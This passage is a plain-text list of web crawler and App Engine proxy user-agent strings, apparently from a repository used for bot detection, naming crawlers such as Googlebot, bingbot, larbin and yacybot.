3 | AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)
4 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)
5 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)
6 | AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)
7 | AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)
8 | AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)
9 | AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)
10 | AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)
11 | AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)
12 | AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)
13 |
--------------------------------------------------------------------------------
/useragents/crawlers.txt:
--------------------------------------------------------------------------------
1 | Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620
2 | ABACHOBot
3 | Accoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)
4 | Accoona-AI-Agent/1.1.2
5 | Accoona-AI-Agent/1.1.1 (crawler at accoona dot com)
6 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com
7 | Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)
8 | Mozilla/4.0 (compatible; Arachmo)
9 | Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)
10 | Baiduspider+(+http://www.baidu.com/search/spider_jp.html)
11 | Baiduspider+(+http://www.baidu.com/search/spider.htm)
12 | BaiDuSpider
13 | Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)
14 | Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)
15 | Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/
16 | BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)
17 | Bimbot/1.0
18 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
19 | Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)
20 | Mozilla/4.0 (compatible; BlitzBot)
21 | BlitzBOT@tricus.net (Mozilla compatible)
22 | BlitzBOT@tricus.com (Mozilla compatible)
23 | boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html )
24 | boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html )
25 | boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html )
26 | boitho.com-dc/0.81 ( http://www.boitho.com/dcbot.html )
27 | boitho.com-dc/0.79 ( http://www.boitho.com/dcbot.html )
28 | boitho.com-robot/1.1
29 | boitho.com-robot/1.0
30 | btbot/0.4 (+http://www.btbot.com/btbot.html)
31 | CatchBot/2.0; +http://www.catchbot.com
32 | CatchBot/1.0; +http://www.catchbot.com
33 | CatchBot/1.0; http://www.catchbot.com
34 | Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-1)
35 | Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)
36 | Mozilla/5.0 (compatible; Charlotte/1.1; http://www.searchme.com/support/)
37 | Mozilla/5.0 (compatible; Charlotte/1.0t; http://www.searchme.com/support/)
38 | Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.searchme.com/support/)
39 | Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/)
40 | Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) (Charlotte/0.9t; http://www.searchme.com/support/)
41 | Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/)
42 | Mozilla/5.0 (compatible; Charlotte/0.9t; http://www.searchme.com/support/)
43 | Mozilla/5.0 (compatible; Charlotte/0.9t; +http://www.searchme.com/support/)
44 | ConveraCrawler/0.9e (+http://ews.converasearch.com/crawl.htm)
45 | ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)
46 | ConveraCrawler/0.9d ( http://www.authoritativeweb.com/crawl)
47 | ConveraCrawler/0.9 (+http://www.authoritativeweb.com/crawl)
48 | cosmos/0.9_(robot@xyleme.com)
49 | Covario-IDS/1.0 (Covario; http://www.covario.com/ids; support at covario dot com)
50 | DataparkSearch/4.37-23012006 ( http://www.dataparksearch.org/)
51 | DataparkSearch/4.36 ( http://www.dataparksearch.org/)
52 | DataparkSearch/4.35-02122005 ( http://www.dataparksearch.org/)
53 | DataparkSearch/4.35 ( http://www.dataparksearch.org/)
54 | DiamondBot
55 | Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html)
56 | Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org)
57 | DotBot/1.0.1 (http://www.dotnetdotcom.org/#info, crawler@dotnetdotcom.org)
58 | EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)
59 | envolk[ITS]spider/1.6 (+http://www.envolk.com/envolkspider.html)
60 | envolk[ITS]spider/1.6 ( http://www.envolk.com/envolkspider.html)
61 | EsperanzaBot(+http://www.esperanza.to/bot/)
62 | Exabot/2.0
63 | FAST Enterprise Crawler 6 used by Schibsted (webcrawl@schibstedsok.no)
64 | FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/
65 | FAST Enteprise Crawler/6 (www dot fastsearch dot com)
66 | FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)
67 | FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)
68 | FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)
69 | FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)
70 | FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)
71 | FAST-WebCrawler/3.6
72 | FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)
73 | FAST-WebCrawler/3.x Multimedia
74 | Mozilla/4.0 (compatible: FDSE robot)
75 | findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)
76 | findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)
77 | findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)
78 | findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)
79 | findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)
80 | findlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)
81 | findlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/)
82 | findlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/)
83 | findlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)
84 | findlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)
85 | findlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/)
86 | findlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)
87 | findlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)
88 | findlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)
89 | findlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/)
90 | findlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)
91 | findlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/)
92 | findlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/)
93 | findlinks/1.1-a8 ( http://wortschatz.uni-leipzig.de/findlinks/)
94 | findlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/)
95 | findlinks/1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)
96 | findlinks/1.1-a4 (+http://wortschatz.uni-leipzig.de/findlinks/)
97 | findlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)
98 | findlinks/1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)
99 | findlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/)
100 | findlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/)
101 | findlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/)
102 | findlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/)
103 | Mozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net)
104 | FyberSpider (+http://www.fybersearch.com/fyberspider.php)
105 | FyberSpider
106 | g2Crawler nobody@airmail.net
107 | Gaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)
108 | Gaisbot/3.0+(robot05@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)
109 | Gaisbot/3.0 (jerry_wu@openfind.com.tw; http://gais.cs.ccu.edu.tw/robot.php)
110 | GalaxyBot/1.0 (http://www.galaxy.com/galaxybot.html)
111 | genieBot (http://64.5.245.11/faq/faq.html)
112 | genieBot ((http://64.5.245.11/faq/faq.html))
113 | Gigabot/3.0 (http://www.gigablast.com/spider.html)
114 | Gigabot/2.0/gigablast.com/spider.html
115 | Gigabot/2.0 (http://www.gigablast.com/spider.html)
116 | Gigabot/2.0
117 | Gigabot/1.0
118 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com])
119 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com)
120 | Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)
121 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
122 | Googlebot/2.1 (+http://www.googlebot.com/bot.html)
123 | Googlebot/2.1 (+http://www.google.com/bot.html)
124 | Googlebot-Image/1.0
125 | Mozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)
126 | Mozilla/5.0 GurujiBot/1.0 ( http://www.guruji.com/en/WebmasterFAQ.html)
127 | Mozilla/5.0 (compatible; GurujiBot/1.0; +http://www.guruji.com/en/WebmasterFAQ.html)
128 | GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html)
129 | GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)
130 | HappyFunBot/1.1 ( http://www.happyfunsearch.com/bot.html)
131 | hl_ftien_spider_v1.1
132 | hl_ftien_spider
133 | holmes/3.9 (someurl.co.cc)
134 | holmes/3.12.4 (http://morfeo.centrum.cz/bot)
135 | holmes/3.12.3 (http://morfeo.centrum.cz/bot)
136 | holmes/3.12.2 (http://morfeo.centrum.cz/bot)
137 | holmes/3.12.1 (http://morfeo.centrum.cz/bot)
138 | htdig/3.1.6 (unconfigured@htdig.searchengine.maintainer)
139 | htdig/3.1.6 (mathieu.peltier@inrialpes.fr)
140 | htdig/3.1.5 (webmaster@online-medien.de)
141 | htdig/3.1.5 (root@localhost)
142 | htdig/3.1.5 (infosys@storm.rmi.org)
143 | htdig/3.1.5
144 | iaskspider/2.0(+http://iask.com/help/help_index.html)
145 | iaskspider
146 | ia_archiver/8.9 (Windows NT 3.1; en-US;)
147 | ia_archiver/8.9 (Windows 3.9; en-US;)
148 | ia_archiver/8.9 (Linux 1.0; en-US;)
149 | ia_archiver/8.8 (Windows XP 7.2; en-US;)
150 | ia_archiver/8.8 (Windows XP 3.0; en-US;)
151 | ia_archiver/8.2 (Windows 7.6; en-US;)
152 | ia_archiver/8.1 (Windows 2000 1.9; en-US;)
153 | ia_archiver/8.0 (Windows 2.4; en-US;)
154 | ia_archiver
155 | iCCrawler (http://www.iccenter.net/bot.htm)
156 | ichiro/4.0 (http://help.goo.ne.jp/door/crawler.html)
157 | ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html)
158 | ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html)
159 | ichiro/2.0 (ichiro@nttr.co.jp)
160 | ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html)
161 | igdeSpyder (compatible; igde.ru; +http://igde.ru/doc/tech.html)
162 | IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/)
163 | IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)
164 | IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)
165 | IRLbot/2.0 (+http://irl.cs.tamu.edu/crawler)
166 | IRLbot/2.0 ( http://irl.cs.tamu.edu/crawler)
167 | IssueCrawler
168 | Jaxified Bot (+http://www.jaxified.com/crawler/)
169 | Jyxobot/1
170 | Mozilla/5.0 (compatible; KoepaBot BETA; http://www.koepa.nl/bot.html)
171 | L.webis/0.87 (http://webalgo.iit.cnr.it/index.php?pg=lwebis)
172 | LapozzBot/1.4 (+http://robot.lapozz.com)
173 | Mozilla/5.0 larbin@unspecified.mail
174 | larbin_2.6.3 zumesun@hotmail.com
175 | larbin_2.6.3 tangyi858@163.com
176 | larbin_2.6.3 ltaa_web_crawler@groupes.epfl.ch
177 | larbin_2.6.3 larbin2.6.3@unspecified.mail
178 | larbin_2.6.3 gqnmgsp@ruc.edu.cn
179 | larbin_2.6.3 ghary@sohu.com
180 | larbin_2.6.3 capveg@cs.umd.edu
181 | larbin_2.6.3 (wgao@genieknows.com)
182 | larbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch)
183 | larbin_2.6.3 (larbin@behner.org)
184 | larbin_2.6.3 (larbin2.6.3@unspecified.mail)
185 | larbin_2.6.2 vitalbox1@hotmail.com
186 | larbin_2.6.2 pierre@micro-fun.ch
187 | larbin_2.6.2 listonATccDOTgatechDOTedu
188 | larbin_2.6.2 larbin@correa.org
189 | larbin_2.6.2 larbin2.6.2@unspecified.mail
190 | larbin_2.6.2 kalou@kalou.net
191 | larbin_2.6.2 dthunen@princeton.edu
192 | larbin_2.6.2 (vitalbox1@hotmail.com)
193 | larbin_2.6.2 (pierre@micro-fun.ch)
194 | larbin_2.6.2 (larbin@correa.org)
195 | larbin_2.6.2 (larbin2.6.2@unspecified.mail)
196 | larbin_2.6.1 larbin2.6.1@unspecified.mail
197 | larbin_2.5.0 (larbin2.5.0@unspecified.mail)
198 | larbin_xy250 larbin2.6.3@unspecified.mail
199 | larbin_test nobody@airmail.etn
200 | larbin_test (nobody@airmail.etn)
201 | LARBIN-EXPERIMENTAL efp@gmx.net
202 | ldspider (http://code.google.com/p/ldspider/wiki/Robots)
203 | LexxeBot/1.0 (lexxebot@lexxe.com)
204 | Linguee Bot (http://www.linguee.com/bot; bot@linguee.com)
205 | LinkWalker/2.0
206 | LinkWalker
207 | lmspider lmspider@scansoft.com
208 | lmspider (lmspider@scansoft.com)
209 | lwp-trivial/1.41
210 | lwp-trivial/1.38
211 | lwp-trivial/1.36
212 | lwp-trivial/1.35
213 | lwp-trivial/1.33
214 | http://www.mabontland.com
215 | magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)
216 | Mediapartners-Google/2.1
217 | Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)
218 | Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)
219 | MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)
220 | MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)
221 | MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+)
222 | MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+)
223 | Mnogosearch-3.1.21
224 | mogimogi/1.0
225 | Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)
226 | MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)
227 | Moreoverbot/5.1 ( http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0
228 | Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)
229 | Moreoverbot/5.00 (+http://www.moreover.com)
230 | Morning Paper 1.0 (robots.txt compliant!)
231 | msnbot/2.1
232 | msnbot/2.0b
233 | msnbot/1.1 (+http://search.msn.com/msnbot.htm)
234 | msnbot/1.1
235 | msnbot/1.0 (+http://search.msn.com/msnbot.htm)
236 | msnbot/0.9 (+http://search.msn.com/msnbot.htm)
237 | msnbot/0.11 ( http://search.msn.com/msnbot.htm)
238 | MSNBOT/0.1 (http://search.msn.com/msnbot.htm)
239 | MSRBOT (http://research.microsoft.com/research/sv/msrbot/)
240 | MSRBOT
241 | MVAClient
242 | Mozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)
243 | Mozilla/5.0 (compatible; mxbot/1.0; http://www.chainn.com/mxbot.html)
244 | NetResearchServer/4.0(loopimprovements.com/robot.html)
245 | NetResearchServer/3.5(loopimprovements.com/robot.html)
246 | NetResearchServer/2.8(loopimprovements.com/robot.html)
247 | NetResearchServer/2.7(loopimprovements.com/robot.html)
248 | NetResearchServer/2.5(loopimprovements.com/robot.html)
249 | NetResearchServer(http://www.look.com)
250 | Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com)
251 | NewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET CLR 1.1.4322.2032)
252 | NewsGator/2.0 Bot (http://www.newsgator.com)
253 | NG-Search/0.9.8 (http://www.ng-search.com)
254 | NG-Search/0.86 (+http://www.ng-search.com)
255 | NG-Search/0.86 ( http://www.ng-search.com)
256 | nicebot
257 | noxtrumbot/1.0 (crawler@noxtrum.com)
258 | Nusearch Spider (www.nusearch.com)
259 | nuSearch Spider (compatible; MSIE 4.01; Windows NT)
260 | NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)
261 | NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)
262 | NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)
263 | NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu)
264 | NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)
265 | NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)
266 | NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; jagdeepssandhu@hotmail.com)
267 | NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)
268 | Nymesis/1.0 (http://nymesis.com)
269 | Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)
270 | oegp v. 1.3.0
271 | omgilibot/0.3 +http://www.omgili.com/Crawler.html
272 | omgilibot/0.3 http://www.omgili.com/Crawler.html
273 | OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer
274 | OmniExplorer_Bot/6.65a (+http://www.omni-explorer.com) WorldIndexer
275 | OmniExplorer_Bot/6.63b (+http://www.omni-explorer.com) WorldIndexer
276 | OmniExplorer_Bot/6.62 (+http://www.omni-explorer.com) WorldIndexer
277 | OmniExplorer_Bot/6.60 (+http://www.omni-explorer.com) WorldIndexer
278 | OmniExplorer_Bot/6.47 (+http://www.omni-explorer.com) WorldIndexer
279 | OmniExplorer_Bot/5.91c (+http://www.omni-explorer.com) WorldIndexer
280 | OmniExplorer_Bot/5.28 (+http://www.omni-explorer.com) WorldIndexer
281 | OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer
282 | OmniExplorer_Bot/5.20 (+http://www.omni-explorer.com) WorldIndexer
283 | OmniExplorer_Bot/5.01 (+http://www.omni-explorer.com) WorldIndexer
284 | OmniExplorer_Bot/4.80 (+http://www.omni-explorer.com) WorldIndexer
285 | OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer
286 | OOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )
287 | OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in)
288 | Orbiter (+http://www.dailyorbit.com/bot.htm)
289 | PageBitesHyperBot/600 (http://www.pagebites.com/)
290 | Mozilla/5.0 (compatible; Peew/1.0; http://www.peew.de/crawler/)
291 | polybot 1.0 (http://cis.poly.edu/polybot/)
292 | Pompos/1.3 http://dir.com/pompos.html
293 | Pompos/1.2 http://pompos.iliad.fr
294 | Pompos/1.1 http://pompos.iliad.fr
295 | PostPost/1.0 (+http://postpo.st/crawlers)
296 | psbot/0.1 (+http://www.picsearch.com/bot.html)
297 | PycURL/7.23.1
298 | PycURL/7.19.7
299 | PycURL/7.19.5
300 | PycURL/7.19.3
301 | PycURL/7.19.0
302 | PycURL/7.18.2
303 | PycURL/7.18.0
304 | PycURL/7.16.4
305 | PycURL/7.15.5
306 | PycURL/7.13.2
307 | PycURL
308 | Qseero v1.0.0
309 | radian6_default_(www.radian6.com/crawler)
310 | RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com)
311 | RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)
312 | SandCrawler - Compatibility Testing
313 | SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html)
314 | Mozilla/5.0 (compatible; ScoutJet; http://www.scoutjet.com/)
315 | Scrubby/2.2 (http://www.scrubtheweb.com/)
316 | Mozilla/5.0 (compatible; Scrubby/2.2; +http://www.scrubtheweb.com/)
317 | Mozilla/5.0 (compatible; Scrubby/2.2; http://www.scrubtheweb.com/)
318 | Scrubby/2.1 (http://www.scrubtheweb.com/)
319 | Mozilla/5.0 (compatible; Scrubby/2.1; +http://www.scrubtheweb.com/abs/meta-check.html)
320 | SearchSight/2.0 (http://SearchSight.com/)
321 | Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2
322 | Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1
323 | Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/0.3
324 | Seekbot/1.0 (http://www.seekbot.net/bot.html)
325 | semanticdiscovery/0.1
326 | Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au)
327 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) SEOChat::Bot v1.1
328 | SeznamBot/2.0 (+http://fulltext.seznam.cz/)
329 | SeznamBot/2.0 (+http://fulltext.sblog.cz/robot/)
330 | Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp)
331 | Shim-Crawler
332 | ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
333 | Mozilla/4.0 (compatible: Shoula robot)
334 | silk/1.0 (+http://www.slider.com/silk.htm)/3.7
335 | Silk/1.0
336 | Mozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/)
337 | Mozilla/5.0 (compatible; SiteBot/0.1; http://www.sitebot.org/robot/)
338 | Snappy/1.1 ( http://www.urltrends.com/ )
339 | sogou spider
340 | Sosospider+(+http://help.soso.com/webspider.htm)
341 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)
342 | Mozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/)
343 | Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/)
344 | Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/)
345 | Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/)
346 | Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/)
347 | Speedy Spider (Beta/1.0; www.entireweb.com)
348 | Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/)
349 | Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/)
350 | Speedy Spider (http://www.entireweb.com)
351 | Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)
352 | StackRambler/2.0 (MSIE incompatible)
353 | StackRambler/2.0
354 | Mozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/)
355 | SurveyBot/2.3+(Whois+Source)
356 | SurveyBot/2.3 (Whois Source)
357 | SynooBot/0.7.1 (SynooBot; http://www.synoo.de/bot.html; webmaster@synoo.com)
358 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)
359 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)
360 | Mozilla/2.0 (compatible; Ask Jeeves/Teoma)
361 | TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)
362 | TheSuBot/0.2 (www.thesubot.de)
363 | TheSuBot/0.1 (www.thesubot.de)
364 | Thumbnail.CZ robot 1.1 (http://thumbnail.cz/why-no-robots-txt.html)
365 | TinEye/1.1 (http://tineye.com/crawler.html)
366 | TinEye
367 | truwoGPS/1.0 (GNU/Linux; U; i686; en-US; +http://www.lan4lano.net/browser.html )
368 | TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html)
369 | TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html
370 | TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html
371 | TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html)
372 | TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html
373 | TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html)
374 | Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; http://tweetedtimes.com)
375 | TwengaBot
376 | updated/0.1-beta (updated; http://www.updated.com; updated@updated.com)
377 | Mozilla/5.0 (compatible; Urlfilebot/2.2; +http://urlfile.com/bot.html)
378 | Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/)
379 | Mozilla/4.0 (compatible; Vagabondo/2.2; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)
380 | Mozilla/5.0 (compatible; Vagabondo/2.1; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)
381 | Mozilla/3.0 (Vagabondo/2.0 MT; webcrawler@NOSPAMexperimental.net; http://aanmelden.ilse.nl/?aanmeld_mode=webhints)
382 | Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)
383 | Vortex/2.2 (+http://marty.anstey.ca/robots/vortex/)
384 | Vortex/2.2 ( http://marty.anstey.ca/robots/vortex/)
385 | VORTEX/1.2 ( http://marty.anstey.ca/robots/vortex/)
386 | voyager/2.0 (http://www.kosmix.com/crawler.html)
387 | voyager/1.0
388 | VYU2 (GNU; OpenRISC)
389 | webcollage/1.93
390 | webcollage/1.129
391 | webcollage/1.125
392 | webcollage/1.117
393 | webcollage/1.114
394 | Websquash.com (Add url robot)
395 | http://www.almaden.ibm.com/cs/crawler [wf84]
396 | WoFindeIch Robot 1.0(+http://www.search.wofindeich.com/robot.php)
397 | WoFindeIch Robot 1.0( http://www.search.wofindeich.com/robot.php)
398 | WomlpeFactory/0.1 (+http://www.Womple.com/bot.html)
399 | Xaldon_WebSpider/2.0.b1
400 | Xaldon_WebSpider/2.0.b1
401 | yacybot (x86 Windows XP 5.1; java 1.6.0_12; Europe/de) http://yacy.net/bot.html
402 | yacybot (x86 Windows XP 5.1; java 1.6.0_11; Europe/de) http://yacy.net/bot.html
403 | yacybot (x86 Windows XP 5.1; java 1.6.0; Europe/de) http://yacy.net/yacy/bot.html
404 | yacybot (x86 Windows 2000 5.0; java 1.6.0_16; Europe/de) http://yacy.net/bot.html
405 | yacybot (ppc Mac OS X 10.5.2; java 1.5.0_13; Europe/de) http://yacy.net/bot.html
406 | yacybot (ppc Mac OS X 10.4.10; java 1.5.0_07; Europe/de) http://yacy.net/bot.html
407 | yacybot (i386 Mac OS X 10.5.7; java 1.5.0_16; Europe/de) http://yacy.net/bot.html
408 | yacybot (i386 Linux 2.6.9-023stab046.2-smp; java 1.6.0_05; Europe/en) http://yacy.net/bot.html
409 | yacybot (i386 Linux 2.6.8-022stab070.5-enterprise; java 1.4.2-03; Europe/en) yacy.net
410 | yacybot (i386 Linux 2.6.31-16-generic; java 1.6.0_15; Europe/en) http://yacy.net/bot.html
411 | yacybot (i386 Linux 2.6.26-2-686; java 1.6.0_0; Europe/en) http://yacy.net/bot.html
412 | yacybot (i386 Linux 2.6.24-28-generic; java 1.6.0_20; Europe/en) http://yacy.net/bot.html
413 | yacybot (i386 Linux 2.6.24-24-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html
